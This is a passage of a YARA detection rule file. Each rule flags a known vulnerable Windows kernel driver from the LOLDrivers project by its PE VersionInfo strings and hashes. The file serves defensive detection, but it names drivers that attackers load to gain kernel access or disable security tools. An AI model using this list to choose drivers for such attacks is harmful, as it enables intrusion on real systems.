		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f00360034 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f00360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300031003900200041007200740068007500720020004c0069006200650072006d0061006e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_263E
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "263e8f1e20612849aea95272da85773f577fd962a7a6d525b53f43407aa7ad24"
		date = "2023-06-14"
		score = 40
		id = "2ff1ee8e-cd67-58e7-b301-e1f7712b6031"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00320035002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320035002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100300020002d0020007700770077002e007400670073006f00660074002e00690074 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_E839
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "e83908eba2501a00ef9e74e7d1c8b4ff1279f1cd6051707fd51824f87e4378fa"
		date = "2023-06-14"
		score = 40
		id = "8a7a82a3-f24e-5887-9d95-a997179616d9"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004300500055005f00430043 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Hilschergesellschaftfrsystemaoutomationmbh_Physmemsys_Physicalmemoryaccessdriver_C299
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - physmem.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d"
		date = "2023-06-14"
		score = 40
		id = "1759efbf-dabf-5790-a624-9e344884f98c"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0050006800790073006900630061006c0020004d0065006d006f0072007900200041006300630065007300730020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00480069006c0073006300680065007200200047006500730065006c006c0073006300680061006600740020006600fc0072002000530079007300740065006d0061006f00750074006f006d006100740069006f006e0020006d00620048 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0070006800790073006d0065006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050006800790073006900630061006c0020004d0065006d006f0072007900200041006300630065007300730020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0070006800790073006d0065006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a9002000480069006c0073006300680065007200200047006500730065006c006c0073006300680061006600740020006600fc0072002000530079007300740065006d0061006f00750074006f006d006100740069006f006e0020006d00620048002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_AF10
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "af1011c76a22af7be97a0b3e0ce11aca0509820c59fa7c8eeaaa1b2c0225f75a"
		date = "2023-06-14"
		score = 40
		id = "f80640c2-ec8d-5350-ba26-4dc6974816f2"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_ADA4
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ada4e42bf5ef58ef1aad94435441003b1cc1fcaa5d38bfdbe1a3d736dc451d47"
		date = "2023-06-14"
		score = 40
		id = "55ef1733-e9e8-5c60-8461-233e4fa4f0ae"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_9B2F
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "9b2f051ac901ab47d0012a1002cb8b2db28c14e9480c0dd55e1ac11c81ba9285"
		date = "2023-06-14"
		score = 40
		id = "d2e1c8d4-b8a7-5a0d-817a-f68ddda1c652"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200034 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Cyreninc_Amp_Cyrenamp_CBB8
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amp.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "cbb8239a765bf5b2c1b6a5c8832d2cab8fef5deacadfb65d8ed43ef56d291ab6"
		date = "2023-06-14"
		score = 40
		id = "a2b01649-d98b-5d99-9fb3-e9a648db62ad"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d00500020004d0069006e006900660069006c007400650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043005900520045004e00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0034002e00310031002e0031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0034002e00310031002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d0050 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005900520045004e00200041004d005000200035 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061006d0070002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9002000310039003900390020002d00200032003000310034002e00200043005900520045004e00200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Supermicrocomputerinc_Superbmc_Superbmc_F843
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - superbmc.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "f8430bdc6fd01f42217d66d87a3ef6f66cb2700ebb39c4f25c8b851858cc4b35"
		date = "2023-06-14"
		score = 40
		id = "bf870b5d-ab2d-587d-a7ce-da7a02960d2c"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]007300750070006500720062006d0063 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007300750070006500720062006d0063 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]007300750070006500720062006d0063 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007300750070006500720062006d0063002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280063002900200031003900390033002d00320030003100350020005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_1023
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1023dcd4c80db19e9f82f95b1c5e1ddb60db7ac034848dd5cc1c78104a6350f4"
		date = "2023-06-14"
		score = 40
		id = "45f59f43-b8eb-5c58-a386-a7bb19a88253"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0031002e0033003800300030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0031002e0033003800300030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_F877
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "f877296e8506e6a1acbdacdc5085b18c6842320a2775a329d286bac796f08d54"
		hash = "de3597ae7196ca8c0750dce296a8a4f58893774f764455a125464766fcc9b3b5"
		date = "2023-06-14"
		score = 40
		id = "b2a52cf7-6f64-5409-8764-e26f7b9e45c8"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0031002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0031002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003500200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Almicosoftware_Sfdrvxsys_Speedfan_X_AD23
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sfdrvx32.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ad23d77a38655acb71216824e363df8ac41a48a1a0080f35a0d23aa14b54460b"
		date = "2023-06-14"
		score = 40
		id = "df1de7d1-dd2a-5c6c-980d-a080b343f4f7"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530070006500650064002000460061006e00200078003300320020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006c006d00690063006f00200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00580034002e00340033002e00300034 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00580034002e00340033002e00300034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530070006500650064002000460061006e }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200041006c006d00690063006f00200053006f00660074007700610072006500200032003000300031002d0032003000310030 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_1A4F
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1a4f7d7926efc3e3488758ce318246ea78a061bde759ec6c906ff005dd8213e5"
		hash = "0da746e49fd662be910d0e366934a7e02898714eaaa577e261ab40eb44222b5c"
		hash = "e32ab30d01dcff6418544d93f99ae812d2ce6396e809686620547bea05074f6f"
		hash = "01e024cb14b34b6d525c642a710bfa14497ea20fd287c39ba404b10a8b143ece"
		hash = "ecfc52a22e4a41bf53865b0e28309411c60af34a44e31a5c53cdc8c5733e8282"
		date = "2023-06-14"
		score = 40
		id = "a7b74018-53bc-5f36-b1cd-50d87c5928e0"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0031002e0037 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0031002e0037 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_BCFC
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "bcfc2c9883e6c1b8429be44cc4db988a9eecb544988fbd756d18cfca6201876f"
		date = "2023-06-14"
		score = 40
		id = "aabd529a-516f-5e7f-85e2-b7fa207b89cd"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000340039 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them
}

rule PUA_VULN_Driver_Windowsrddkprovider_Gdrvsys_Windowsrddkdriver_F4FF
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "f4ff679066269392f6b7c3ba6257fc60dd609e4f9c491b00e1a16e4c405b0b9b"
		hash = "cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b"
		date = "2023-06-14"
		score = 40
		id = "e7e01116-2971-59fd-bada-ac22cdc17670"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041004200590054004500200054006f006f006c0073 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b002000700072006f00760069006400650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031003600320030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031003600320030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b0020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d006900630072006f0073006f0066007400200043006f00720070002e00200031003900380031002d0031003900390039 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_DBC6
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "dbc604b4e01362a3e51357af4a87686834fe913852a4e0a8c0d4c1a0f7d076ed"
		date = "2023-06-14"
		score = 40
		id = "9a004873-765d-5db7-87e1-8796286635e3"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00350030002e0030002e0031003000340031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00350030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100340020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_F15A
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "f15ae970e222ce06dbf3752b223270d0e726fb78ebec3598b4f8225b5a0880b1"
		date = "2023-06-14"
		score = 40
		id = "ec067130-dde8-58a8-884f-eeda3c7adf57"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310035002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310035002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_4E37
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "4e37592a2a415f520438330c32cfbdbd6af594deef5290b2fa4b9722b898ff69"
		date = "2023-06-14"
		score = 40
		id = "c827a2fc-e533-5113-a7e5-8ae4f5718d63"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100340030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_ECD0
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ecd07df7ad6fee9269a9e9429eb199bf3e24cf672aa1d013b7e8d90d75324566"
		date = "2023-06-14"
		score = 40
		id = "f683f7c5-15cb-5e1b-9d6e-4261c85a581a"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003100370036 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
